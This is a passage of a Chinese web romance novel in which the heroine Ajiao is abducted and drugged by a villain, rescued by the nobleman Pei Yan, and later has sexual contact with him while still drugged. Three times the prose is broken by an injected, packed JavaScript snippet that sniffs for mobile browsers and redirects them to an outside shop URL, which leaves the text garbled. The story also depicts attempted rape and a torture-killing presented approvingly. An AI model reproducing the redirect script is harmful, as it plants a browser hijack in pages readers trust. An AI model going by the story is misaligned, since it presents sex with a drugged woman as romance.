青云县的府衙可不是什么福地洞天,还和钦犯扯上关系,不死也得没了半条命。 裴衍性情里的多疑又冒了出来,一瞬的心动到底轻了些,犹如温软浮云飘过积雪山峰,浮云易散,积雪难融。 阿娇并不在意这话是出自关心还是怀疑,山风过处,吹起她额前的乌发,女孩优越灵动的五官完全显露出来,肌肤白净,琼鼻秀挺,朱唇嫣然。 她像是想到了什么,浅笑时颊边露出浅浅的梨涡。 “那阿宝就托付给你了,”她仰头望着他的面容,犹不知足地踮脚,伸手遮住他的眼眸,“你等我,我一定会来,你一定要等我。” 阿娇温热的掌心遮蔽了他的视线,鼻尖萦绕着淡淡的药草香,裴衍静默片刻,唇角露出一点笑,不是他惯常嘲讽的、冷飕飕的笑,而是春晓里如杨柳垂丝、风轻日暖的笑,他轻轻拉下阿娇的手,拢在掌心里捏了捏。 阿娇面粉如桃,垂下眼去,看起来有些羞涩,裴衍说,“知道了。” 一旁的阿宝虽是只狼,但它有个聪明脑袋,知道娘亲有危险,看她一个人走远,拔腿就追。 阿娇撵它,它也不肯回头,一双清澈倔强狼眼,嘴里发出“呜呜”的可怜低响。 “阿宝乖,不追好不好。”阿娇蹲下来哄它,亲它。 阿宝犟种一个,怎么哄都不肯走,裴衍缓缓从高处往下走,什么也没说,单手轻而易举地抓住狼脖子,提溜起来,徒留它的四只爪子在空中扑腾,吱哇乱叫。 阿宝扭着脖子,张嘴就要咬他,裴衍瞥它一眼,一个手刀过去,阿宝彻底消停了,软趴趴地垂在半空中。 “去罢。” 裴衍抱着小狼,一双风流琉璃眼深不见底、意味难辨。 若阿娇当真回来寻他,或许他会愿意带她回京,裴府纵横百顷,多一个她并不显拥挤。 阿娇到家时尚无官兵踪迹,她动作麻利,将裴衍一应物件、生活痕迹都打扫干净,只是堂屋里的那张大床,让人犯了难。 搬是搬不动,正当她合计着拿刀砍断床脚时,传来一阵拍门声。 手中的长刀应声落地,阿娇心头狂跳,官兵来了! 她垂眼看着大床,抿了抿唇,门外又传来一阵敲门声,来不及了。 她抬手擦额头的薄汗,整理了下衣裙,端起一个笑出去开门。 双手抓住门闩,她深吸一口气,一把拉开大门,映入眼帘的却不是那一队挎刀官兵,而是一个瘦瘦小小的姑娘。 “招娣,你怎么来了?” 阿娇高高吊起的那颗心松了下来,背后一层湿汗,犹如劫后余生。 招娣手上挎着个小竹篮,盖子掀开,露出里头的两只红鸡蛋和一葫芦酒水。 “阿娇姐姐,这是赖家送来的喜宴,我明日就要去他家了。” 阿娇蹲下来,看看竹篮,看看招娣,五味杂陈。 “王婆也愿意你去赖家吗?” 招娣垂下眼去,摇了摇头,“太婆天天都在哭。” “阿娇姐姐,”招娣抬起头,一张瘦削的小脸上,两只圆滚滚的杏眼显得尤为大,“这些日子我去了回春堂,真的有吃到饱饭。” 阿娇摸了摸她的脑袋,头发细而软,眼神天真而纯粹,少时便历人间疾苦,有时看到她阿娇会想起她的曾经。 爹爹去后,她有很长一段时间都在回春堂当药童挣一碗饭吃,每天天不亮就背着一只碗下山,等到天黑又背着一只碗回家,春夏还好,到了秋冬,山路难走,天气严寒,她又没有足够的冬衣御寒,手脚常常僵硬、红肿,举步维艰。 “阿娇姐姐,我知道太公不是你害的。”招娣忽然说道。 “太公去世的那一晚,我在院里守着炉子煮药,太婆和爹爹在吵架,太公在咳嗽,我听到爹爹说要毒死太公。” “后来爹爹出来要端药,我拦着不让,”她撩起衣袖,露出新旧伤痕的手臂,指着其中一条说,“这就是那晚爹爹打的。” 阿娇皱着眉,盯着那些伤疤,她想过王顺丧心病狂,但没想到他竟然让自己的亲女儿煮毒药,毒死王公。 “阿娇姐姐,我一直在害怕,”招娣眼圈泛红,流下泪来,“是我熬的药,太公会不会怪我?” 阿娇俯身将招娣搂在怀里,轻拍她的肩背。 她也不知道王公会不会怪招娣,就像她不知道爹爹会不会怪她一样。 爹爹刚中毒那会儿对她说,若他太痛苦,就给他一碗药。 她没有做到。 爹爹疼得失去神智、凄惨痛哭时,她就坐在院子里熬那一副药,药总是很快就熬好。 可那一碗药有时能端过门槛,有时能端到房门口,但怎么也端不到爹爹的病床前。 爹爹若去,阿娇就再没有亲人了。 她做不到。 招娣伏在她怀里,哭了小半会儿,离去前将竹篮留下,“阿娇姐姐,这是爹爹嘱咐我送来的。” 小小的身影迎着落日往山下去,直到变成一个黑点彻底消失在视野里。 阿娇拎起脚边的竹篮往里走,尚未走到堂屋,她停下脚步,视线落于那竹篮之上。 一向清亮的眼眸浮起一层名曰怀疑的薄雾。 - 裴衍抱着被劈晕过的阿宝往凌雨洞走,洞中果然如阿娇所言,干粮、被褥一应俱全,只是久无人住,蒙着灰,结着蛛网。 他身形高大,站在这逼仄的洞中,居高临下地审视着阿娇为他准备的避难所,他“啧”了一声,转身出洞穴,招来暗卫裴玦,“将那糊涂县令绑了,让那一队蠢货下山。” 裴玦是个聪明人,一听就知道该怎么办,“属下遵命。” “另外去查查,今日为何会上山搜查。”裴衍道。 裴玦悄悄抬眼看大郎君,又看向躺在大郎君怀里睡得香甜的狼崽子,思忖几番,说道:“属下已为大郎君另备一住处,随时待大郎君移驾。” 裴衍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405572|200487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没应,将人打发走了。 他倒是要看看阿娇到底会不会回来寻他,还是大难临头各自飞,亦或者飞之前还要踩他一脚。 那一列搜查官兵本也不想上山,毕竟偷奸耍滑惯了,山路又难走,山上又没有油水可捞,是以走走停停,散漫怠工。 还未走到半山腰,就见一面生小厮来寻,急赤白脸地说县令丢了,让他们赶紧回去找人。 为首官兵不信,这青云县谁还能大过县令去,就算是个蠢到家的蠢货也不敢到太岁头上动土,且这小厮又面生,当下就要将人揍一顿。 小厮腿脚灵活,哭喊得真情实感,又掏出一方绣帕,“这是我家夫人的帕子,大人陪夫人回娘家,结果半道就被一伙贼人给劫了!各位大老爷,赶紧随我回去吧,晚一刻,我家大人和夫人就危险一刻啊!” 为首官兵瞧了瞧那绣帕,上头绣着一杆青竹,“这竹子我在县令的帕子上见过,县令说什么中空什么节,说他夫人夸他是君子。” “大哥,这山上连个人影都没有,咱们还是赶紧下山寻县令去。” 余下官兵纷纷言道,“王发那个软脚虾,他能爬上这青云山?铁定是耍我们呢!” 为首官兵回头瞧了瞧高耸的山头,又想着现任县令的好,若是他没了,往后油水捞起来都没那么方便了。 “走,先找县令老爷!” 小厮当下就给人连作三个揖,千恩万谢地将人请下山,又随口问道。 “大老爷们方才说的王发是谁啊?” - 这一行人虽下了山,但山上的裴衍并未等到阿娇,天边最后一缕晚霞散去,黛青色的夜色漫了上来。 裴衍望着山中的那一轮孤月,嘴角泛起一抹极为恶意的笑。 阿宝早已醒了,敏锐察觉到危险,还未有动作就被裴衍攥着脖子拎起,他盯着那双懵懂清澈狼眼,口出恶言。 “你娘不要你了。” 阿宝猛烈挣扎,裴衍将狼一扔,径直下山。 他要一把火烧了那个院子,一把火烧了这青云山。 阿宝可怜巴巴地耷拉着尾巴跟在人后边回家。 若说方才裴衍还有一丝侥幸,待看到半山腰的院落漆黑一片时,胸中的那一口怒气喷涌而出,他一脚踹开大门,木门应声砸地,其中一块门板从中断开,足可见力道之大。 院中屋中一应如旧,却已无人影。 东边角落还放着他给阿娇做的轮椅,上头还盖着一条羊毛毯子,轮椅边还有个他编的竹球,方便阿娇逗狼玩的。 往日里并不觉得有为阿娇做什么,现下看着这些真如针扎般刺痛,裴大郎君怒气无人可宣泄,一双晦暗如寒潭的眸子盯住跟在后头进来的狼崽子,带着浓浓杀意。 阿娇这个混账,平日装的母子情深,到了关键时刻,还不是抛下它跑了! 阿宝眼看不对劲,刹住后腿直接掉头就跑,不成想外头跌跌撞撞、连滚带爬进来一个人。 两相一撞,俱是头晕眼花。 “救...救命!” 顺着门框滑倒地上的女子,气若游丝,面目煞白。 12. 第 12 章 当时李是好回家后,让爹娘打包细软先去了外祖家,她自己留下来,说要等娇姐一起下山。 没成想,官兵还没来,王顺先来了。 一番争执,阿娇心有旁骛,竟被王顺偷袭一棒子晕了过去,李是好听到声响,追了出来,她追着人跑,又急又气引得旧疾发作,喘不上气,昏倒在路边。 她刚醒听到院里有动静,费劲爬回来一看,裴衍身高颀长,执着火把站在院中,火红的火光在他阴沉的面容上跳跃,勾勒出一张杀气腾腾的阎王脸。 她倒在门口又惊又恐,看他这副神鬼莫犯的形容,这哪里是救兵,分明是另一只豺狼虎豹。 她又抹着眼泪往外爬,娇姐生死未卜,家还要被烧了,她捞过一旁可怜兮兮的阿宝,抱在怀里。 一人一狗一起往外爬,非常凄凉。 裴衍长眸眯了眯,还有这个货。 平日里在他面前演得姐妹情深,到了关键时刻,阿娇还不是也抛下她跑了。 想到这里,他彻底给阿娇定了个薄情寡义、狼心狗肺的罪名。 李是好越哭越伤心,一边哭嘴里还一边喊着“娇姐、娇姐”。 裴衍冷嗤一声,走上前用脚尖踢了她一脚,“没出息,哭什么。” 李是好哭得直打嗝,她也不想活了,反正她这病也治不好,全靠着娇姐才这么一直拖着、养着,如今娇姐出事,她却一点忙都帮不上,她抱着天真的阿宝,坐在地上一直嚎,吵得裴衍耳朵疼。 裴衍在她混乱的哭腔里,终于知道阿娇去向,神色一凛,抓起阿宝往外一扔。 “寻你娘去!” 他自己脚步飞快,跟着阿宝的方向跑。 李是好张着嘴,表情空白,不知他是赶着去救娇姐,还是去添一刀。 想到这里,小嘴一瘪,又“哇”得一声嚎了起来,山里空旷,回音袅袅。 - 阿娇送走招娣后,并没有吃竹篮里的东西,只是有一瞬的灰心和难过。 她走到卧房的窗前,看着风铃下随风飘动的两张小像,铃声空灵,纸已经泛黄。 “人这一辈子,真的要吃很多苦。” 忽然间,身后伸出来一只大手,一把捂住她的口鼻。 阿娇警觉,奋力挣扎,好在她有几分好力气,刚推开那只手,却不防后脖颈被重物一击,眼前发黑,双腿发软,就这么昏了过去。 等她再睁眼时,脖子阵阵疼痛,她正在一处不知名的破庙里,佛身半毁,蛛网遍布。 她双手被反绑在后,双脚亦被捆绑,钗发松散垂在胸前,就着破窗漏进来的一点月光,她看清了坐在对面的王顺,斜眼狞笑,食指勾着枚白玉佩,晃晃悠悠。 王顺! 这玉佩竟然在他这里! 荒郊野外,四下无人,王顺咧着嘴靠近,“阿娇,春宵一刻值千金,老子今晚就让你尝尝男人的滋味!” 说着就要凑近去亲,臭气熏天,那双赌鬼的糙手也摸上她的肩膀,拇指一探,触到腻滑温润的肌肤,他心中一荡,往旁边一扯,整个雪白纤细的肩膀就露了出来。 阿娇心中害怕无极,手脚被绑怎么都解不开,又急又恨,眼圈红得欲滴血! “王顺,你今日要敢碰我,我一定让你断子绝孙!” 王顺精虫上脑,眼睛只看得到那一痕雪白、嫣红梅唇,就连那满是恨毒的眼睛都格外诱人。 “好心肝儿,女人都要经历这么一回,过了今晚,咱们好好过日子。”说着双手顺着肩膀下移,落在不断起伏的半路□□上。 阿娇怒极,猛地用头去撞,她用了十成力气,直将人撞了开去。 王顺额头剧痛,当下咒骂起来,“臭娘们,老子今晚就将你给奸了,明天脱光了扔到集市上,千人看万人骑!” 他扶着额头,拎起那葫芦酒,掐着阿娇的下巴,就往里灌! “死丫头办那么一点事都办不成,还要老子自己动手!” 阿娇剧烈挣扎、紧闭着唇眼,那下了烈性春药的酒洒到她面上,淋淋沥沥顺着仰起的脖颈往下,湿了罗衫。 王顺掐住她的下颌,用力强迫她张开嘴,“喝啊,喝了才快活!你早就跟你屋里的男人睡过了吧,在这跟大爷我装什么贞洁烈女!” “那玉佩价值连城,咱们一起卖了过富贵日子。” 山风扇动着破窗,“哐哐”作响,破庙里半边佛像无声,一只慈悲眼静看歹人作恶,好女受辱。 阿娇双手双脚都磨出血,下颌的剧痛刺激着她渐渐丧失的神智,身上开始泛起异样的热潮,视线渐渐模糊,她欲哭无泪,如临深渊。 幼年丧双亲,一人孤苦求生,垂死之际得遇徐天白,青梅竹马,天赐良缘,往日乌云蔽日般的岁月没入尘埃,又于尘埃中生出一朵玲珑纯净的花。 可命运陡然翻脸,反手将孱弱之人摁死,让孤苦之人受尽屈辱,阿娇一双杏眼直欲泣出血泪,她用力咬破舌尖,浓厚的血腥味弥漫开去,剧痛让她清醒片刻。 就算今日她命丧于此,都不会让这流氓地痞得逞! 王顺早已癫狂,双目赤红,血液翻腾,看着身下美人的娇嫩模样,他将葫芦酒一扔,登时就要扑上去! 庙外突然响起一阵嘹亮狼嚎,急促的脚步声传来,王顺抬头去看,迎面飞来一颗石头,速度极快,他躲闪不及,瞳孔震动间那石头精准砸进他眼眶。 “啊!” 凄厉痛喊,他捂住右眼,痛得翻到在地,满地打滚,紧接着捂着眼睛的指缝里缓缓流出鲜红的血液。 阿娇神智渐消,鼻尖忽然闻到一股熟悉清新的药草香气,一袭薄衫兜头罩下,将赤裸着肩背的她裹起来,继而跌入坚硬厚实的怀抱当中。 她手软脚软,方才又被酒淋面,眼睫湿成一簇一簇,瑟瑟发抖,泪眼朦胧望向来人。 视线顺着胸膛往上,越过宽厚的肩膀、微微凸起的喉结和青色经络,再到棱角分明的下颌,阿娇想要抬手,双手酸软无力垂落在他胸膛,裴衍垂眸看她。 怀中人发丝凌乱、双眸含泪,平日稍白的唇显现出异样的一抹红,他紧了紧怀里的人,将她的脸按到怀里。 “别看。” 阿娇顺从地贴着他的胸膛,听着他的心跳,安心地闭上眼睛。 却说被打瞎了一只眼的王顺,阿宝闻着血腥味就扑上去撕咬,王顺被吓得屁滚尿流,高声求饶、呼救! “贵人、贵人!小的只是一时糊涂!”他一边以手格挡小狼,一边狡辩,“我与阿娇早有婚约,县令大人也判了的!” 裴衍眸光冷而厉,看他如看一滩烂肉、死人的目光,忽地目光被地上一抹白润的光吸引,“阿宝,将玉佩叼来。” 阿宝颇通人性,咬住玉穗就叼了过来。 果然是他的玉佩,裴衍垂眸瞥了一眼怀中人,尚未发问,那王顺就着急说,“那是阿娇的,是我俩的定情信物!” 裴衍摩挲着玉佩,打正眼瞧了那歹徒一眼,贼眉鼠眼、粗鄙不堪。 阿娇若是与这样的人定情,那她的眼珠子也不用要了。 他低头轻声问阿娇,“这是你和他的定情信物?” 阿娇咬牙切齿、气血上脑,恨不得将王顺一刀砍了! “不是,定是那日我下山拿玉佩换穿莲草,被他偷了去的。” 这倒像句实话。 难怪翻遍青云山都没见到这块玉佩,原来是被贼人偷藏。 裴衍唇角微微勾起,对她的话有点满意,“嗯”了一声。 这人生了一副薄情又冷厉的面容,但笑起来时又似春冰化解,给人如沐春风之感,就像眼下,他问:“偷盗窃物、掳人作恶,不如杀了此等宵小,如何?” 还未等阿娇说话,王顺面色一白,人抖得如秋风落叶,手脚并用地爬过来,哭着求饶。 “贵人公子,公子饶命啊!”见他不说话,又去求阿娇,“阿娇,你说话啊,求求你,我家里还有八十阿奶和五岁幼女,我若死了她们怎么过活啊!” 裴衍瞧着怀中的虚弱女子,面皮软白,又想起她素日里的良善心肠,想来禁不住这样的哭求。 阿娇浑身发热,蒸腾出一层薄汗,听到他如此轻描淡写地说要取人性命,惊得眸子瞬间睁开。 忽而想起当日救他时的那一身劲装,以及将刀刃抵在她脖颈间的狠厉之色。 或许他原本就是这样的人,平日里的温文尔雅不过只是伪装。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405573|200487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但这乱世,良善又有什么用,想起被王顺欺侮的那些日子,她的摊子药摊被砸,声名被辱,县城里的百姓见她如见瘟疫,还连累了李叔李婶无端被打,桩桩件件累在心头,若她能早日狠下心,又怎么落得今日下场。 “别让阿宝看见,不能让它吃人。”阿娇伏在他怀里,很轻地说道。 裴衍眸间闪过一丝亮色,眉间一挑。 京中贵族的美人美则美矣,却总是差点意思,就像用金线绣起来的一幅幅呆板无趣仕女图,但阿娇不同,锋利鲜活、出人意料,犹如遗落在荒山野岭里的一块美玉,真真是合他的脾性。 裴衍以拇指轻抚她柔软面颊,嗓音轻柔似在哄人,眉眼却全是凛然杀意。 “阿娇说得对。” 跪在地上的王顺,拔腿就往外跑,破庙大门敞开,门外几棵遮天大树,遮天蔽日的枝干间露出几分明月余辉,王顺刚踏过门槛,双眸骤然放大,瞳仁颤抖,一阵摧心折骨的剧痛,他不可置信地低头看向自己的腿。 一把锋利匕首正中膝窝,鲜血飞溅。 “啊!!!” 王顺惊恐惨叫,捂着膝窝瘫软在门槛上,人不像人,鬼不像鬼。 裴衍在战场上见惯了马革裹尸、断肢残身,但思及阿娇不曾见过血腥,便将人按在怀里,不许她看到这般脏东西。 走出破庙时,王顺犹想伸手去抱他的腿脚,“求...求你...我再也不敢了...” 裴衍脚步一闪,已抱着人走出三步之外,清朗的嗓音在静夜里似一缕清风。 “阿宝,你娘说了,不准吃人。” 阿宝哈喇子流了一地,却也不敢不听裴衍的话,粗喘了几声,遗憾离开。 王顺见男人走远,并未至自己于死地,已死绝的心又生出一丝希望,呲牙咧嘴捂着瞎了的右眼,心中咒骂阿娇,等他翻起身来,定要这个臭娘们不得好死! 狠话尚未放完,不知何时来了一小厮打扮的年轻男子,年轻男子眉眼和善,看着是个好说话的。 简直是上天都在助他,王顺拖着伤腿,一路爬过去,“救我,救我,我给你钱!” 小厮蹲下来,天真懵懂,“你能给多少钱?” “我女儿嫁的赖家,是县里出了名的富户,你想要多少就有多少,”王顺犹如抓住救命稻草,“百两够不够,不够一千两也有!只要你能救我!” 小厮像是听到了极有趣的话,笑得格外张扬,“说什么呢,你哪里值这个价。” 说着出手极快拔出膝窝里的匕首,又嫌恶般将其上的血迹在王顺身上擦了擦,“我们大郎君的东西,怎能留在你这种腌臜流氓身上。” 说着起身,一只铁手拖着烂泥一般的人跟着天上的月亮走,血液蔓延一地,“大郎君说了,不能让你死得太舒服。” “蛇窝、狼窝、野狗窝,你想去哪?” 他语气轻松,似在认真与王顺商量,后头的王顺早已吓得屎尿横流,只在苟延残喘。 小厮嫌恶那气味,抓着他的脚,将人往树上一扔倒挂下来,“血尽而亡,飞鸟猛兽而食。” 这般死法,大郎君应当会满意,这般想着他也高兴起来,脚步轻盈,哼着小曲回去复命。 他循着那只狼崽子的脚印寻去,却见狼崽子孤零零地躺在树下,不见大郎君。 阿宝见是熟人也不叫唤,只是抬头看了他一眼,便继续躺着了。 “阿宝,大郎君呢?” 小厮名唤裴璨,是裴衍的近臣死士,天生一张笑眯眯的娃娃脸,人见人爱,人见人怕。 阿宝没搭理他,裴璨便越过阿宝往里走,只见枝繁叶茂的林木之后掩着一方寒潭,水色幽碧,水面上浮着一层薄薄的白雾,明明是春天,却让人觉得骨头缝里都是凉的。 裴璨还待往里走,看个究竟,只见迎面飞来一石子,一向身手不凡的人竟躲闪不及,脑门生生挨了这一记。 “出去!” 喑哑低沉的嗓音自寒潭石后传来。 裴璨听出那声音里的压抑克制,顿时赤红了脸,心一乱,脚下也跟着乱糟糟地扑棱出来。 他扑到阿宝身上,哭唧唧地捏着它的爪子垫,给自己揉红肿的脑门。 13. 第 13 章 从破庙出来后,阿娇身上的燥热愈发明显,血液骨髓里都好似有虫蚁在爬,噬人的痒意几乎叫她丧失理智。 “凌雨洞后有一方寒潭,快,送我去那里。” 她满面绯红,双眸潋滟,说话间呼出的热意扑在裴衍的颈侧,引得他筋络暴起,胸膛和臂弯上的肌肉愈发坚硬如铁。 东都裴氏,累世勋贵,大郎君更是出了名的不近女色,克己复礼,连身边近身伺候的都是男子,突然间如此温香软玉扑在怀里,那股清苦的药草香萦绕鼻尖,裴衍心跳越发剧烈,一下又一下,重重撞击着胸腔。 寒潭不远,裴衍小心翼翼将人放入潭中,潭水寒凉,阿娇猛地一哆嗦,抓着裴衍的手臂不肯放。 钗发松乱,一双含情眸子汨汨地将人看着,粉腮软面,红唇微张,隐约可见徐徐水光。 “我就在潭边,我不走。”裴衍艰难撇过头去,喉结重重一滚。 阿娇尚有一丝理智,缓缓松了手,整个人发着抖沉在寒潭之中,潭水刺骨,却止不住骨髓里的痒意、热意,好似冰火两重天,将人折磨得眼角滴下泪来。 混乱之时,她将身上的衣物都剥了开去,难耐的感觉一波跟着一波,不断冲击、吞噬着她那根摇摇欲坠的神经,不知道要怎么才能舒服,怎么样才能去了那股噬人的感觉。 双眼逐渐迷离,粉颊便清泪一颗接着一颗,她不知道自己是醒着还是睡着了,恍惚间好似看到了徐天白,只是这一次,他没有站在江中心,他就站在清河渡的渡口,他还没有上船。 阿娇高兴地奋力往前游,可她不知为何没力气,手软脚软,怎么都游不到岸边。 她越游越委屈,哭着问,“你为什么不看我,我来了啊,我真的来了。” “你是不是还在怪我,我是想去的,可,可我被王家的人拦住了。” 阿娇越说越伤心,偏偏徐天白还冷硬地以背影对着她,她抹着眼泪,哭得像个娃娃。 “我很想你的,我每天都在想你,你一点都不知道。我那么喜欢你,我一见你就喜欢你了,你也一点都不知道。” 潭边站着的人背脊一僵,听到这般赤诚直白的话,脑海里仿佛有烟火在无声炸开,全身的血液瞬间被猛烈撞击的心挤压向四肢百骸,通体畅快又悸动。 裴衍在这一刻闪过一个荒唐的念头。 等此间事了,他要带阿娇回京,偌大裴府,他要将这般可怜可爱之人养在身边,谁都不能伤害她一分一毫。 而寒潭中的阿娇却没了声音,莫非昏过去了? 害怕她溺水,他着急转身,猛地呼吸一窒。 寒潭里的阿娇破水而出,身上只穿了一件嫣红肚兜,肌肤似雪,红绳系着的长命锁垂于胸前,杏粉色的肚兜系带绕在腰间,腰肢盈盈不足一握。 她咬着下唇,哭红了的双眼委屈地看着他,“你一点都不喜欢我,我都这么难受了,你为什么不说话哄我。” 裴衍额角青筋暴起,声音极致的隐忍压抑,“阿娇,别闹。” 听到这话,阿娇越发难受,身上难受,心里更难受,她抹着眼泪转身就往寒潭中间走。 没意思,活着真没意思,连徐天白都不理她了。 裴衍一惊,慌忙下水,将人搂在怀里,入手滑腻如软脂,他俯身低哑着哄人,“好阿娇,莫往里去,就在这里,好不好。” 阿娇见他终于来了,狡黠地破涕为笑,转身环住他的脖颈,身子前倾,绣着鸳鸯戏水样式的肚兜领口微微压低,露出一片柔软白皙,凹陷处夹着那枚金灿灿的长命锁。 浑身如有火在烧,唯有靠近他才觉得一丝清凉,修长白皙的双腿紧紧缠绕,忍不住往人身上蹭。 裴衍浑身紧绷,喉结剧烈滚动,他一手拖着她,将人抱回潭边巨石处。 月光斜斜穿过山石疏枝,落在阿娇赤裸莹白的肌肤上,和那只缓缓抚摸着的、带着厚茧的手。 唇舌交缠、吸吮厮磨,裴衍只觉不够,哪里都是软的,嫩的,恨不得按着怀里的人往更深里坐,他的手滑了下去,不知碰到哪里,阿娇瞬间绷紧了趾尖,呜咽着哭出一点声音。 他手上没停,粗喘的气息扑在阿娇红透的耳垂上,哑着嗓子哄人,“别怕。” 阿娇挣扎着要往上,却又忍不住想要更多,如此进退不得时,难受得直哭,裴衍一双带着热意的黑眸紧紧盯着她,下颌冷白如刀锋,突然手臂上筋络鼓胀,用力揉按。 阿娇吃不住的一瞬间,瞳孔失神,整个人伏在他怀里剧烈颤抖。 裴衍安抚般一下一下亲着她的眼睛,舔干她的眼泪,亲红她的粉唇,粗粒指腹滑过掌下细滑的肌肤。 “还要不要?” 阿娇细细喘着气,双眸似蒙着一层浅浅的薄雾,清纯又懵懂,像是没听懂他的话,身体里那股难耐的感觉又开始隐隐作祟,抬手擦去他额间滑落的汗珠,捧着他棱角分明的下颌,痴迷又虔诚地亲了上去。 - 寒潭外的一人一狼,齐齐打着哈欠,夜深了,到点儿该睡觉了。 裴璨摸着下巴思索,他家大郎君怎得还不出来,这都过去一个多时辰了。 那小娘子他曾远远见过。 那日大郎君吩咐他砍些树,说要做轮椅,搬树回去时,他瞧了一眼坐在窗边的小娘子。 玉面粉白,眉眼弯弯,几缕乌发软软地垂在肩上,娴静又天然,裴璨对这般模样的人总是心有戒备,因着旧语有言,长得美的,不可怕,就怕长得美还长得纯的。 果不其然,就算是他家大郎君,京里、边疆都有名的不近女色之人,也逃不过这种人的手段。 他长叹一口气,大郎君的一世英名说不准就要毁在这小娘子手里了。 这般扼腕叹息之际,裴玦不知何时悄摸声地来了,手里还捧着个包袱,软乎乎的,看着像细软。 “咋,你也要跑路了?”裴璨咬着根青草,吊儿郎当。 裴玦撇他一眼,“莫要胡言乱语。” 裴璨吐了青草,懒懒坐起身,手搭在单膝上,不知想到什么笑出了声,“师兄,今儿午后我将那县令绑到新任通判的后院,你知道我看到了什么吗?” 裴玦静静站着,身姿笔直,并不与他搭话。 裴璨也习惯了他这副假正经的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若是裴璨还没走,见到这般情形,大约是要骂一句,哥哥好心机,显得就他会伺候大郎君。 “大郎君,县令和搜查官兵已经处置妥当,新通判涉嫌谋杀朝廷官吏,不出半月京中就会知道了,”裴玦说道,“青云县里可能还埋伏着太子的爪牙,请大郎君移步别院。” 裴衍接过包裹,并未应他所求,“把别院线索放出去,此次太子派来的多为精锐死士,一并打扫了我们再回京。” 裴玦应下,心内想着将青云山上下都布控起来,势必要保全大郎君的安危。 裴衍回到寒潭,取出包裹中的短绒明黄外衫,将人整个一裹,双手托起搂于怀中。 踏着清风,踩着月华,回了半山腰的小院。 阿娇早已昏沉睡去,待次日醒来,瞧着熟悉的棉被,窗台上的兰花和风铃,一时恍然如梦。 “醒了?” 裴衍手半靠在门框上,嘴角衔着一抹意味深长的笑。